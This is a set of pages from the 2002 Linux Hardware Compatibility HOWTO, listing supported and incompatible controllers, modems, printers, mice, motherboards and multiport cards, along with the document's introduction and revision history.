Fiber Distributed Data Interface. High-speed ring local area network.

IDE

Integrated Drive Electronics. Each drive has a built-in controller.

ISA

Industry System Architecture

ISDN

Integrated Services Digital Network

MCA

MicroChannel Architecture

MFM

Modified Frequency Modulation

MMX

Multimedia Extensions. Extra instructions meant to speed multimedia.

PCI

Pheripheral Component Interconnect. 32-bit bus designed by Intel. Information can be found here.

RAID

Redudant Arrays of Inexpensive Disks. The basic idea of RAID is to combine multiple small, inexpensive disk drives into an array of disk drives which yields performance exceeding that of a single large expensive drive. There are five types of redundant array Architectures; RAID-1 through RAID-5. A non-redudant array of disk drives is referred to as RAID-0. Some RAID systems can mix formats. (more info)

PPA

Printing Performance Architecture. Protocol developed by Hewlett Packard for their series of Deskjet printers. In essence, the protocol moves the low-level processing of the data to the host computer rather than the printer. This allows for a low-cost printer with a small amount of memory and computing power and a flexible driver. However, this comes at the price of compatibility. HP's decision was to develop drivers only for Windows 95 for this printer.

RLL

Run Length Limited

SCSI

Small Computer Systems Interface. A standerd interface defined for all devices in a computer. It make it possible to use a single adapter for all devices. (more info)

SVGA

Super Video Graphics Adapter

UART

Universal Asynchronous Receiver Transmitter

USB

Universal Serial Bus.

VGA

Video Graphics Adapter

VLB

VESA Local Bus. Used in some 486 PC's.

WORM

Write Once Read Many

Prev | Home
Appendix E. Linux incompatible Hardware |


Controllers (hard drive)

Linux Hardware Compatibility HOWTO
Prev Next

7. Controllers (hard drive)

Enhanced IDE (EIDE) interfaces are supported, including support for UDMA and ATA/33, ATA/66, and so on for some controllers and compatible drives. Linux will detect these IDE interfaces:

  • CMD-640 (Support for buggy interfaces in kernel 2.2)

  • RZ1000 (Support for buggy interfaces in kernel 2.2)

  • AEC62XX

  • ALI M15x3

  • AMD Viper

  • CY82C693

  • Cyrix CS5530 MediaGX

  • HPT34X

  • HPT366

  • Intel PIIXn

  • NS87415

  • OPTi 82C621

  • Promise PDC20246/PDC20262/PDC20267

  • ServerWorks OSB4

  • SiS5513

  • SLC90E66

  • Tekram TRM290

  • VIA82CXXX

  • DTC 2278D

  • FGI/Holtek HT-6560B VLB (Support for secondary interface in kernel 2.2)

  • Triton I (82371FB) (with busmaster DMA)

  • Triton II (82371SB) (with busmaster DMA)

  • ALI M14xx

  • Promise DC4030

  • QDI QD6580

  • UMC 8672

Please see the IDE RAID controller section for information on IDE controllers with hardware RAID support.

Linux will work with standard IDE, MFM and RLL controllers. When using MFM/RLL controllers it is important to use ext2fs and the bad block checking options when formatting the disk.

ESDI controllers that emulate the ST-506 (MFM/RLL/IDE) interface will also work. The bad block checking comment also applies to these controllers.

Generic 8 bit XT controllers also work.

7.1. Alpha, Beta drivers

  • UMC 8672 interfaces (experimental in kernel 2.2)

  • Promise DC4030VL caching interface card (experimental support in kernel 2.2)

Prev | Home | Next
Video cards |  | Controllers (SCSI)


IDE RAID Controllers

Linux Hardware Compatibility HOWTO
Prev Next

10. IDE RAID Controllers

  • Tekram D690CD IDE PCI Cache Controller (with RAID level 1 Mirroring and caching)

  • ARCO Inc. DupliDisk IDE disk mirroring controller

    Support for ATA, IDE, E-IDE and UDMA drive. Controllers available can be plugged into ISA and PCI slots, and directly into the IDE controller. Furthermore, 3.5-inch and 5.25-inch Bay Mount units are available that fit into the respective drive bays. More information at Arco's web site. Make sure you have at least rev 3.00 of the firmware.

  • 3ware Escalade IDE RAID controllers

    3ware's 5000-series and 6000-series controllers have been supported since kernel 2.2.15. Support for the 7000-series controllers and RAID5 on the 6000-series controllers requires kernel 2.4.5 or 2.2.20 or better. Also make sure to use a recent firmware for RAID 5, since older firmware revisions (and older versions of the driver) can cause data corruption when a RAID 5 array runs degraded.

  • Adaptec ATA RAID 2400A

    4-port ATA/100 controller which supports RAID 0, RAID 1, RAID 1+0, and RAID 5. Use the dpt_i2o driver, which is included in recent 2.4.x kernels.

  • Promise SuperTRAK SX6000

    6-port ATA/100 controller which supports RAID 0, RAID 1, RAID 1+0, RAID 3, and RAID 5. Use the pti_st driver or the generic i2o drivers. Be sure to set the BIOS on the card for "Other OS" instead of "Linux", and check for firmware updates.

Prev | Home | Next
SCSI RAID Controllers |  | Controllers (I/O)


Appendix E. Linux incompatible Hardware

Linux Hardware Compatibility HOWTO
Prev Next

30. Appendix E. Linux incompatible Hardware

Some hardware manufacturers have created devices which are compatible with MS-DOS and Windows 95/98 only. They seem to emulate part of the normally available hardware in the devices by software packages sold together with the device. Specification on these devices are not presented to the world so it is almost impossible to write drivers for these devices. Below a list of devices reported as being Linux incompatible will be given.

Simply put, it is best to avoid hardware which states things like "Needs Windows" or "Windows only".

  • Printers

    Manufacturer | Model Number | Functionality
    Brother | 4550 | None - Paperweight
    Brother | MP-21C | None - Paperweight
    Canon | BJC-5000 | None - Paperweight
    Canon | BJC-5100 | None - Paperweight
    Canon | BJC-8500 | None - Paperweight
    Canon | LBP-460 | None - Paperweight
    Canon | LBP-600 | None - Paperweight
    Canon | LBP-660 | None - Paperweight
    Canon | LBP-800 | None - Paperweight
    Canon | Multipass C50 | Unknown
    Canon | Multipass L6000 | None - Paperweight
    Canon | S200 | None - Paperweight
    Compaq | A900 | Unknown
    Compaq | IJ300 | None - Paperweight
    Epson | AcuLaser C1000 | None - Paperweight
    Epson | EPL-5500W | None - Paperweight
    Epson | EPL-5700L | None - Paperweight
    Epson | EPL-5800L | None - Paperweight
    Epson | LP-2000 | Unknown
    Epson | Stylus B/W 820 | Unknown
    HP | DeskJet 640C | Unknown
    HP | LaserJet 1000 | None - Paperweight
    HP | LaserJet 3100 | None - Paperweight
    HP | LaserJet 3150 | None - Paperweight
    HP | Officejet LX | Unknown
    Kyocera | F-1200 | Unknown
    Kyocera | FS-3700+ | Unknown
    LaserMaster | LM 1000 | None - Paperweight
    Lexmark | Optra S1650 | Unknown
    Lexmark | Winwriter 100 | None - Paperweight
    Lexmark | Winwriter 150c | None - Paperweight
    Lexmark | Winwriter 200 | None - Paperweight
    Lexmark | Z12 | None - Paperweight
    Lexmark | Z23 | None - Paperweight
    Lexmark | Z33 | None - Paperweight
    Minolta | PagePro 1100L | None - Paperweight
    Minolta | PagePro 6L | None - Paperweight
    NEC | SuperScript 610plus | None - Paperweight
    NEC | SuperScript 660 | None - Paperweight
    NEC | SuperScript 660plus | None - Paperweight
    Okidata | 6e | Unknown
    Okidata | 6w | Unknown
    Okidata | OL400e | Unknown
    Okidata | Okijet 2010 | None - Paperweight
    Panasonic | KX-P6100 | None - Paperweight
    Panasonic | KX-P6300 GDI | None - Paperweight
    Panasonic | KX-P8410 | None - Paperweight
    Panasonic | KXP-2624 | Unknown
    QMS | magicolor 2 | None - Paperweight
    Ricoh | Aficio Color 2206 | None - Paperweight
    Ricoh | Afico FX10 | None - Paperweight
    Samsung | ML-5050G | None - Paperweight
    Samsung | SF/MSYS/MJ-4700/4800/4500C | None - Paperweight
    Sharp | AJ-2100 | None - Paperweight
    Star | WinType 4000 | None - Paperweight
    Xerox | DocuPrint P8 | None - Paperweight
    Xerox | WorkCentre 385 | None - Paperweight
    Xerox | WorkCentre XD120f | None - Paperweight
    Xerox | WorkCentre XE80 | None - Paperweight
    Xerox | WorkCentre XE90fx | None - Paperweight

    The following is old information and will be removed in a future version of this document:

    • Canon LBP-465 printer

    • Sharp JX-9210 printer

  • Modems

    • 3Com 3CXM356/3CCM356 and 3CXM656/3CCM656 PCMCIA

    • AOpen FM56-P and FM56-H

    • Boca Research 28.8 internal modem (model MV34AI)

    • Boca Research 33.6 internal modem (model MV34)(Joe Harjung has succeeded in configuring the modem under Win95 and then soft booting into Linux with the modem still working. Filippo is using this modem under Linux directly without any problems and without soft booting from Windows. I definitely need more info on these Boca Research modems.) The Boca Research 33.6 modem (model M336I) is mentioned to work with Linux. The only thing that needed to be done was diabling Plug and Play. Here are the specs of the modem

      • Three stickers saying "MC2920A-3.3", "E6030D 4035-01" and "1721 8011 A"

      • Chips etc on the board

        • Cirrus Logic CL-MD3450D-SC-B

        • Cirrus Logic MD1724-11VC-D

        • Datatronic VLM301-1??

        • Omron G5V-1 (2 of them)

        • AST (?) M628032-20E1

        • Cirrus Logic CL-MD4450C-SC-A

        • Abracon 23-040-20

        • two empty places for additional chips, one of which might be a Cirrus Logic CL-MD1724D

      • 4 jumpers for COM port selection

      • 10 jumpers for IRQ selection

      • other unknown jumpers

    • Compaq 192 PCMCIA modem/serial card

    • HP Fastmodem D4810B

    • Multiwave Innovation CommWave V.34 modem

    • Megahertz XJ/CC2560 PCMCIA

    • New Media Winsurfer PCMCIA modem/serial card

    • Rockwell SoftK56

    • US Robotics WinModem series

    • Zoltrix 33.6 Win HSP Voice/Speaker Phone modem

Prev | Home | Next
Appendix D. Plug and Play devices |  | Glossary


Linux Hardware Compatibility HOWTO

Steven Pritchard

Southern Illinois Linux Users Group

steve@silug.org

3.1.5

Copyright © 2001-2002 by Steven Pritchard

Copyright © 1997-1999 by Patrick Reijnen

2002-03-28

This document attempts to list most of the hardware known to be either supported or unsupported under Linux.

Table of Contents
1. Introduction
1.1. Notes on binary-only drivers
1.2. Notes on commercial drivers
1.3. System architectures
1.4. Related sources of information
1.5. Known problems with this document
1.6. New versions of this document
1.7. Feedback and corrections
1.8. Acknowledgments
1.9. Revision History
2. Computers/Motherboards/BIOS
2.1. Specific system/motherboard/BIOS
2.2. Unsupported
3. Laptops
3.1. Specific laptops
3.2. PCMCIA
4. CPU/FPU
4.1. Intel
4.2. AMD
4.3. Cyrix
4.4. IDT
4.5. Transmeta
4.6. Misc. notes
5. Memory
6. Video cards
6.1. XFree86
6.2. Commercial X servers
6.3. Kernel Framebuffer (fbdev)
6.4. SVGALIB (graphics for console)
7. Controllers (hard drive)
7.1. Alpha, Beta drivers
8. Controllers (SCSI)
8.1. Supported
8.2. Alpha, Beta drivers
8.3. Unsupported
9. SCSI RAID Controllers
10. IDE RAID Controllers
11. Controllers (I/O)
12. Controllers (multiport)
12.1. Non-intelligent cards
12.2. Intelligent cards
13. Network adapters
13.1. Supported
13.2. Alpha, Beta drivers
13.3. Unsupported
14. Sound cards
14.1. Supported
14.2. Alpha, Beta drivers
14.3. Unsupported
15. Hard drives
15.1. Unsupported
16. Tape drives
16.1. Supported
16.2. Alpha, Beta drivers
16.3. Unsupported
17. CD-ROM drives
17.1. Supported
17.2. Alpha, Beta drivers
17.3. Notes
18. CD-Writers
19. Removable drives
20. Mice
20.1. Supported
20.2. Alpha, Beta drivers
20.3. Notes
21. Modems
22. Printers/Plotters
22.1. Ghostscript
23. Scanners
23.1. Supported
23.2. Alpha, Beta drivers
23.3. Unsupported
24. USB
24.1. Digital Cameras
24.2. Miscellaneous
25. Other hardware
25.1. Amateur Radio
25.2. VESA Power Savings Protocol (DPMS) monitors
25.3. Touch screens
25.4. Terminals on serial port
25.5. Joysticks
25.6. Video capture boards / Frame Grabbers / TV tuner
25.7. Digital Camera
25.8. UPS
25.9. Multifunction boards
25.10. Data acquisition
25.11. Watchdog timer interfaces
25.12. Miscellaneous
26. Appendix A. S3 cards supported by XFree86 3.3.x.
27. Appendix B. Supported PCMCIA cards
27.1. Ethernet cards
27.2. Fast Ethernet (10/100baseT) adapters
27.3. Token-ring adapters
27.4. Wireless network adapters
27.5. ISDN
27.6. Modem and serial cards
27.7. Memory cards
27.8. SCSI adapters
27.9. ATA/IDE CD-ROM adapters
27.10. Multifunction cards
27.11. ATA/IDE card drives
27.12. ATA/IDE Interface Cards
27.13. Parallel port cards:
27.14. Miscellaneous cards
27.15. Working on ...
27.16. Unsupported
28. Appendix C. Supported Parallel Port devices
28.1. Ethernet
28.2. Hard drives
28.3. Tape drives
28.4. CD-ROM drives
28.5. Removable drives
28.6. IDE Adapter
28.7. SCSI Adapters
28.8. Digital Camera
28.9. PCMCIA parallel port cards
29. Appendix D. Plug and Play devices
30. Appendix E. Linux incompatible Hardware
31. Glossary
Next
Introduction


Introduction

Linux Hardware Compatibility HOWTO
Prev Next

1. Introduction

This document lists most of the hardware components (not whole computers) known to be supported or not supported under Linux, so reading through this document you can choose the components for your own Linux computer and know what to avoid. As the list of components supported by Linux changes constantly, this document will never be complete. If a component is not mentioned in this HOWTO, I simply have not found support for the component and nobody has told me about support.

Subsections titled 'Alpha, Beta drivers' list hardware with alpha or beta drivers in varying degrees of usability. Note that some drivers only exist in alpha kernels, so if you see something listed as supported but isn't in your version of the Linux kernel, upgrade.

1.1. Notes on binary-only drivers

Some devices are supported by binary-only modules; avoid these when you can. Binary-only modules are modules which are compiled for ONE kernel version. The source code for these modules has NOT been released. This may prevent you from upgrading or maintaining your system. It will also prevent you from using the component on alternate (usually non-x86) architectures.

Linus Torvalds says "I allow binary-only modules, but I want people to know that they are _only_ ever expected to work on the one version of the kernel that they were compiled for." (See http://lwn.net/1999/0211/a/lt-binary.html for the rest of the message.)

1.2. Notes on commercial drivers

Various commercial drivers for sound, video, etc. exist for Linux. Tracking these commercial drivers is beyond the scope of this document. These drivers might be mentioned at various points in this document, but note that no effort has been made to make sure that this information is current.

1.3. System architectures

This document primarily deals with Linux for x86-based platforms. For other platforms, check the following:

  • Alpha

  • ARM

  • CRIS (Axis Communications ETRAX 100LX embedded CPU)

  • IA-64

  • m68k

  • MIPS

  • PA-RISC

  • PowerPC

  • S/390

  • SuperH

  • SPARC

There are also the ELKS and uClinux ports, which are forks of the mainstream kernel source designed for MMU-less (mostly very low-end and embedded) systems.

1.4. Related sources of information

  • The LDP has an index of hardware-related HOWTO documents.

  • Price Watch (street price search engine, also useful for finding specs on various bits of hardware)

  • Guide to Computer Vendors

1.5. Known problems with this document

This document can't possibly be up-to-date at all times. I would like to see this document be a useful reference again. The following items need to be fixed for that to happen:

  • Old cruft needs to be eliminated. Much of this document was written in 1995, give or take, when PCI was new and not supported terribly well, and ISA PnP was seen as something evil. Oh, how the times have changed...

    Also, many of the model numbers listed in this document are no longer available, and are probably not of much interest to the vast majority of people. Personally, I think hardware that hasn't been available for more than 5 years or so can safely be removed. Old versions of this document will always be available on the Internet...

  • URLs in this document need updating. I've begun to do that, but it is a big job... Diffs are welcome.

  • In the process of updating and converting this document to DocBook, some cruft was introduced. If anyone wants to help clean up this, get the latest source (preferably by emailing me at <steve@silug.org>) and grep for "FIXME".

  • Lists in this HOWTO that are available in other HOWTOs or FAQs need to be either updated here or dropped completely from this document. (A good example is the list of video cards supported by XFree86.)

  • Newer interfaces such as USB need to be added into the list. (Would a USB-attached hard drive go under "USB", "Removable drives", "Hard drives", or all of the above?)

  • And, of course, random hardware that just isn't listed in this document needs to be added.

All of this is going to require a lot of work. If this happens to interest you, please email <steve@silug.org>. I can use the help. :-)

1.6. New versions of this document

The latest version of this document can be found on the Linux Documentation Project home site or any of its many mirrors.

1.7. Feedback and corrections

If you have questions or comments about this document, please feel free to email Steven Pritchard at <steve@silug.org>. I also welcome corrections and additions. At some point in the near future, I plan to set up a web interface for adding components to this document. In the mean time, please just use the word "hardware" somewhere in the subject when sending corrections or additions.

1.8. Acknowledgments

This document has passed through many hands. I don't know if he wrote the first version, but in 1993 Ed Carp was maintaining it. In August of 1994, FRiC (Boy of Destiny) took over. After he fell off the face of the planet in late 1995 or early 1996 (and we all miss him from IRC, I might add), Patrick Reijnen took over (sometime in 1997) and continued to maintain this document until late 1999.

Recent versions of this document contained the following:

Thanks to all the authors and contributors of other HOWTO's, many things here are shamelessly stolen from their works; to FRiC, Zane Healy and Ed Carp, the original authors of this HOWTO; and to everyone else who sent in updates and feedbacks. Special thanks to Eric Boerner and lilo (the person, not the program) for the sanity checks. And thanks to Dan Quinlan for the original SGML conversion.

Many thanks to all those who have contributed to this document over the years.

In addition, I'd like to thank the many members of the Southern Illinois Linux Users Group and the Linux Users of Central Illinois for giving me so many interesting problems to solve over the years, and, of course, my wife Kara for putting up with me all these years. :-)

1.9. Revision History

The following is the revision history of this document since I (Steven Pritchard) took over maintenance.

Revision History
Revision 3.1.5 | 2002-03-28 | Revised by: sjp
Moved revision history to Introduction section. More dead link fixes and other corrections. Thanks to Lin Hung-Ta, Silviu Tamasdan, and various others.
Revision 3.1.4 | 2002-02-17 | Revised by: sjp
Added note about CRIS architecture. Updated WAN Cards section.
Revision 3.1.3 | 2001-12-30 | Revised by: sjp
Updated video card section and other minor cleanups and updates.
Revision 3.1.2 | 2001-12-21 | Revised by: sjp
Update location for GS-4500 software in the scanners section. (Thanks to Jan Willamowius for pointing out that the page had moved.) Begin updating RAID controller section by separating SCSI RAID and IDE RAID.
Revision 3.1.1 | 2001-12-14 | Revised by: sjp
List printers with a "F" or missing grade from the linuxprinting.org database in the incompatible hardware section.
Revision 3.1.0 | 2001-12-12 | Revised by: sjp
Fix/remove more broken/dead links. Import printer listing from linuxprinting.org.
Revision 3.0.7 | 2001-10-18 | Revised by: sjp
Started fixing dead links. (Thanks to Rob Janssen, Shaul Karl, Charles McColm, and Paul Stephenson for the corrections.)
Revision 3.0.6 | 2001-09-14 | Revised by: sjp
Started cleaning up incompatible hardware section.
Revision 3.0.5 | 2001-09-04 | Revised by: sjp
Updated CPU and motherboards sections. Added WAN Cards section and removed old "Frame Relay", "X.25", and "Synchronous PPP, Cisco HDLC" sections under Network adapters.
Revision 3.0.4 | 2001-06-25 | Revised by: sjp
Updated Network adapters and Controllers (multiport) sections to include current Cyclades products. (Thanks to Ivan Passos at Cyclades for the update.)
Revision 3.0.3 | 2001-05-28 | Revised by: sjp
Added USB section. Added note on non-x86 hardware to CPU section. Updated Motherboards section. Added a link to the Sound HOWTO in the Sound cards section. Folded Related sources of information section into introduction and removed dead links.
Revision 3.0.2 | 2001-05-10 | Revised by: sjp
LDP-requested cleanup.
Revision 3.0.1 | 2001-05-07 | Revised by: sjp
Updated modems section.
Revision 3.0.0 | 2001-04-22 | Revised by: sjp
First DocBook version. Various updates.

Prev | Home | Next
Linux Hardware Compatibility HOWTO |  | Computers/Motherboards/BIOS


Controllers (I/O)

Linux Hardware Compatibility HOWTO
Prev Next

11. Controllers (I/O)

Any standard serial/parallel/joystick/combo cards. Linux supports 8250, 16450, 16550, and 16550A UART's. Cards that support non-standard IRQ's (IRQ > 9) can be used.

See National Semiconductor's ``Application Note AN-493'' by Martin S. Michael. Section 5.0 describes in detail the differences between the NS16550 and NS16550A. Briefly, the NS16550 had bugs in the FIFO circuits, but the NS16550A (and later) chips fixed those. However, there were very few NS16550's produced by National, long ago, so these should be very rare. And many of the ``16550'' parts in actual modern boards are from the many manufacturers of compatible parts, which may not use the National ``A'' suffix. Also, some multiport boards will use 16552 or 16554 or various other multiport or multifunction chips from National or other suppliers (generally in a dense package soldered to the board, not a 40 pin DIP). Mostly, don't worry about it unless you encounter a very old 40 pin DIP National ``NS16550'' (no A) chip loose or in an old board, in which case treat it as a 16450 (no FIFO) rather than a 16550A. - Zhahai Stewart < zstewart@hisys.com>

Prev | Home | Next
IDE RAID Controllers |  | Controllers (multiport)


Laptops

Linux Hardware Compatibility HOWTO
Prev Next

3. Laptops

For more information about Linux and laptops, the following sites are good starting points.

  • Linux Laptop Homepage

  • Linux Mobile Guide - A Guide for Laptops and Mobile Devices

Other information related to laptops can be found at the following sites:

  • Avanced Power Management

  • Notebook battery status

  • non-blinking cursor

  • other general info

3.1. Specific laptops

  • Compaq Concerto (pen driver)

  • Compaq Contura Aero

  • IBM ThinkPad

  • IBM Thinkpad 770 series

  • NEC Versa M and P

  • Tadpole P1000

  • Tadpole P1000 (another one)

  • TI TravelMate 4000M

  • TI TravelMate 5100

  • Toshiba Satellite Pro 400CDT

3.2. PCMCIA

  • PCMCIA

PCMCIA drivers currently support all common PCMCIA controllers, including Databook TCIC/2, Intel i82365SL, Cirrus PD67xx, and Vadem VG-468 chipsets. Motorola 6AHC05GA controller used in some Hyundai laptops is not supported. See Appendix B for a list of supported PCMCIA cards.

Prev | Home | Next
Computers/Motherboards/BIOS |  | CPU/FPU


Memory

Linux Hardware Compatibility HOWTO
Prev Next

5. Memory

All memory like DRAM, EDO and SDRAM can be used with Linux. Be aware that older kernels or kernels running on a mortherboard with an older BIOS may only be able to detect 64MB of RAM. If you have this problem, when you add more than 64 Mb of memory you have to add the following line to your LILO configuration file:

append="mem=<number of Mb>M"

So when you have 96 MB of memory this should become

append="mem=96M"

Don't use a number higher than the amount of RAM you really have. This will cause crashes.

Prev | Home | Next
CPU/FPU |  | Video cards


Mice

Linux Hardware Compatibility HOWTO
Prev Next

20. Mice

20.1. Supported

  • Microsoft serial mouse

  • Mouse Systems serial mouse

  • Logitech Mouseman serial mouse

  • Logitech serial mouse

  • ATI XL Inport busmouse

  • C&T 82C710 (QuickPort) (Toshiba, TI Travelmate)

  • Microsoft busmouse

  • Logitech busmouse

  • PS/2 (auxiliary device) mouse

20.2. Alpha, Beta drivers

  • Sejin J-mouse here

  • MultiMouse - use multiple mouse devices as single mouse here

  • Microsoft Intellimouse

20.3. Notes

Touchpad devices like Alps Glidepoint also work, so long they're compatible with another mouse protocol.

Newer Logitech mice (except the Mouseman) use the Microsoft protocol and all three buttons do work. Eventhough Microsoft's mice have only two buttons, the protocol allows three buttons.

The mouse port on the ATI Graphics Ultra and Ultra Pro use the Logitech busmouse protocol. (See the Busmouse HOWTO for details.)

Prev | Home | Next
Removable drives |  | Modems


Modems

Linux Hardware Compatibility HOWTO
Prev Next

21. Modems

All external modems connected via a RS-232 serial port should work. This includes external ISDN adapters, although some of the extended features of external ISDN adapaters (such as multilink) may or may not work.

Internal modems are another story, however. There are many so-called "winmodems" available now. In fact, it seems that most PCI modems are winmodems. Some of them do have drivers for Linux now, but many of the drivers are often binary-only. (See the note on binary-only drivers.) See Linmodems.org for more information on Linux-supported winmodems.

Note that there are external USB winmodems on the market now, so be very careful when shopping for external modems.

Furthermore, many flash upgradable modems only have flash programs for Win95/NT. These modems cannot be upgraded under Linux.

A small number of modems come with DOS software that downloads the control program at runtime. These can normally be used by loading the program under DOS and doing a warm boot. Such modems are probably best avoided as you won't be able to use them with non PC hardware in the future.

Most 16-bit PCMCIA modems should work with the PCMCIA drivers. CardBus modems are usually winmodems much like PCI modems. Your best bet for now is to find a card that lists compatibility with DOS and Windows 3.1.

All that said, if a modem is known to have a real UART (or hardware UART emulation), whether it is ISA, PCMCIA, etc., it should work under Linux.

Fax modems need appropriated fax software to operate. Also be sure that the fax part of the modem supports Class 2 or Class 2.0. It seems to be generally true for any fax software on unix that support for Class 1.0 is not available.

An exception to this is the Linux efax program which supports both Class 1 and Class 2 fax modems. In some cases there can be a few (minor) technical problems with Class 1 modems. If you have a choice it is recommend to get a Class 2 modem.

See Appendix E Linux Incompatible Hardware for specific cards known not to work with Linux.

The following are other good resources for finding Linux-compatible modems:

  • Rob Clark's "Winmodems are not modems" page

  • Andrew Comech's "PCI modems and Linux" page

  • Andrew Comech's "Cheap /Linux/ Box" section on modems

  • Linmodems.org

Most of the information below is from those sites.

Other useful documents include the following:

  • Modem HOWTO

  • Linmodem HOWTO

  • Winmodems and Linux HOWTO (may be superceded by the Linmodem HOWTO)

Below is a very incomplete list of modems currently known to work under Linux.

Manufacturer | Model name | Chipset | Bus | Driver | Notes
Actiontec | PCI56012-01CW |  | PCI |  |
Multitech | MultiModem MT5634ZPX-PCI |  | PCI |  |
IBM | 33L4618 |  | PCI |  |
Topic | FM-56PCI-TP |  | PCI |  |
3Com | 3CP5610 |  | PCI |  |
3Com | 3CP5613 Internet Gaming Modem |  | PCI |  |
3Com | 3CP2976 |  | PCI |  |
3Com | 3CP2977 |  | PCI |  |
Archtek | Smartlink 5634PCV |  | PCI |  |
Zoom | 2920 |  | PCI |  |
Well Communications | FM-56PCI-TP |  | PCI |  |

The following is old information and may not be entirely correct. It may be removed in a future revision of this document.

  • Digicom Connection 96+/14.4+ - DSP code downloading program here

  • Motorola ModemSURFR internal 56K. Add a couple of line to RC.SERIAL to account for IRQ and ports if they are non-standard.

  • ZyXEL U-1496 series - ZyXEL 1.4, modem/fax/voice control program here

  • ZyXEL Elite 2864 series - modem/fax/voice control program here

  • ZyXEL Omni TA 128 - modem/fax/voice control program here

Also multimodem cards are supported by Linux.

  • Moreton Bay RAStel multimodem card Check here for Linux drivers.

The following modem is mentioned not to be supported

  • Aztech MDP3858 56.6 (PCI)

Prev | Home | Next
Mice |  | Printers/Plotters


Computers/Motherboards/BIOS

Linux Hardware Compatibility HOWTO
Prev Next

2. Computers/Motherboards/BIOS

ISA, VLB, EISA, PCI, and AGP buses are all supported. All recent motherboards should work fine, although certain integrated controllers may or may not work well (or at all).

2.1. Specific system/motherboard/BIOS

Please note that this is by no means a complete list. Please send updates.

Manufacturer | Model Number | Description | Notes
Intel | STL2 | ServerWorks chipset, dual Socket 370 (PIII), integrated video (ATI), ethernet (eepro100), and dual-channel SCSI (aic7xxx) |
Intel | 815EEA, 815EEA2L | Intel 815 chipset, Socket 370 (PIII/Celeron), integrated video, audio, ethernet (815EEA2L only) | video, sound, ethernet, etc. are all supported, although they require recent kernels and XFree86
SuperMicro | 370DL3 | ServerWorks chipset, dual Socket 370 (PIII), integrated ethernet (eepro100), SCSI (aic7xxx) |
SuperMicro | 370DLE | ServerWorks chipset, dual Socket 370 (PIII), integrated ethernet (eepro100) |
SuperMicro | P6DGE | Intel 440GX chipset, dual Slot 1 (PII/PIII/Celeron) |
SuperMicro | P6DBE | Intel 440BX chipset, dual Slot 1 (PII/PIII/Celeron) |
Soyo | SY-K7VTA-B | VIA KT133 chipset, Socket A, integrated ATA/100 and AC97 audio |
Tyan | Thunder K7 (S2462NG/S2462UNG/S2462UNGM) | AMD 760MP chipset, dual Athlon MP, integrated video (ATI RAGE XL), dual ethernet (2 x 3Com 3C920), dual-channel SCSI (Adaptec AIC-7899W - S2462UNG/S2462UNGM only) | Early models apparently had bugs. Be sure you have a recent BIOS and a recent 2.2.x or 2.4.x kernel.

The following are old notes and are probably out of date.

  • IBM PS/2 MCA systems

    Supported since kernel version 2.0.7, but only for the stable kernel releases. For information you can look at the Micro Channel Linux Home Page. Software for MCA systems can be found here. Information on the MCA SCSI subsystem can be found here.

  • EFA E5TX-AT motherboard has a solvable problem with RedHat Linux 5.0 and possibly other versions of Linux. It spontaneously reboots while probing hardware. To solve, update BIOS to version 1.01. Get the BIOS update here.

  • The Zida 6MLX motherboard with PII Intel LX chipset is mentioned only to work with Linux when the PII cache is disabled in BIOS. BIOS upgrade does not solve the problem. Symptom is random reboots during or shortly after system boot.

2.2. Unsupported

  • Supermicro P5MMA with BIOS versions 1.36, 1.37 and 1.4. Linux will not boot on this motherboard. A new (beta) release of the BIOS which makes Linux boot, is available here.

  • Supermicro P5MMA98. Linux will not boot on this motherboard. A new (beta) release of the BIOS which makes Linux boot, is available here.

  • DataExpert Corp. ExpertColor TX531 V1.0 motherboard with chipset ACER M1531 (Date: 9729, TS6) and ACER M1543 (Date: 9732 TS6) seems to present not reproducible segmentations faults, kernel oops and kernel hangs under heavy load and tape access. The problem seems to be the PCI-bus, respectively the ACER chipset.

Prev | Home | Next
Introduction |  | Laptops


Controllers (multiport)

Linux Hardware Compatibility HOWTO
Prev Next

12. Controllers (multiport)

12.1. Non-intelligent cards

12.1.1. Supported

  • AST FourPort and clones (4 port)

  • Accent Async-4 (4 port)

  • Arnet Multiport-8 (8 port)

  • Bell Technologies HUB6 (6 port)

  • Boca BB-1004, 1008 (4, 8 port) - no DTR, DSR, and CD

  • Boca BB-2016 (16 port)

  • Boca IO/AT66 (6 port)

  • Boca IO 2by4 (4 serial / 2 parallel, uses 5 IRQ's)

  • Computone ValuePort (4, 6, 8 port) (AST FourPort compatible)

  • DigiBoard PC/X, PC/Xem, PCI/Xem, EISA/Xem, PCI/Xr (4, 8, 16 port)

  • Comtrol Hostess 550 (4, 8 port)

  • PC-COMM 4-port (4 port)

  • SIIG I/O Expander 4S (4 port, uses 4 IRQ's)

  • STB 4-COM (4 port)

  • Twincom ACI/550

  • Usenet Serial Board II (4 port)

Non-intelligent cards usually come in two varieties, one using standard com port addresses and use 4 IRQ's, and another that's AST FourPort compatible and uses a selectable block of addresses and a single IRQ. (Addresses and IRQ's are set using setserial.) If you're getting one of these cards, be sure to check which standard it conforms to, prices are no indication.

12.2. Intelligent cards

12.2.1. Supported

  • Computone IntelliPort II (4/8/16 port)

    (driver)

  • Cyclades Cyclom-Y (RISC-based, 8-32 ports) (ISA/PCI)

    (driver)

  • Cyclades-Z (high-end, 16-64 ports) (PCI)

    (driver)

  • DigiBoard PC/Xe (ISA), PC/Xi (EISA) and PC/Xeve

    (driver)

  • Equinox SST Intelligent serial I/O cards

    (driver)

  • Hayes ESP 1, 2 and 8 port versions Included in kernel since 2.1.15. The driver for kernel versions 2.0.x can be found at (driver)

  • Stallion EasyIO (ISA) / EasyConnection 8/32 (ISA/MCA) / EasyConnection 8/64 (PCI) For DIP switch settings and configuration files check (driver)

  • Stallion EasyConnection 8/64 (ISA/EISA) / ONboard (ISA/EISA/MCA) / Brumby (ISA) The latest driver can be found at (driver)

12.2.2. Alpha, Beta drivers

  • Comtrol RocketPort (8/16/32 port)

    (driver) (kernels 1.2.x). A driver for kernels 2.x can be found at (driver)

  • DigiBoard COM/Xi Contact Simon Park (si@wimpol.demon.co.uk) or Mark Hatle (fray@krypton.mankato.msus.edu). NOTE: both email addresses seem not to exist any longer.

  • Moxa C102, C104, C168, C218 (8 port), C320 (8/16/24/32 expandable) and C320T

    (driver)

  • RISCom/8

  • Specialix SIO/XIO (modular, 4 to 32 ports)

    (driver)

  • Specialix IO8+ Contact

    devices@BitWizard.nl

Prev | Home | Next
Controllers (I/O) |  | Network adapters


Network adapters

Linux Hardware Compatibility HOWTO
Prev Next

13. Network adapters

13.1. Supported

13.1.1. Ethernet

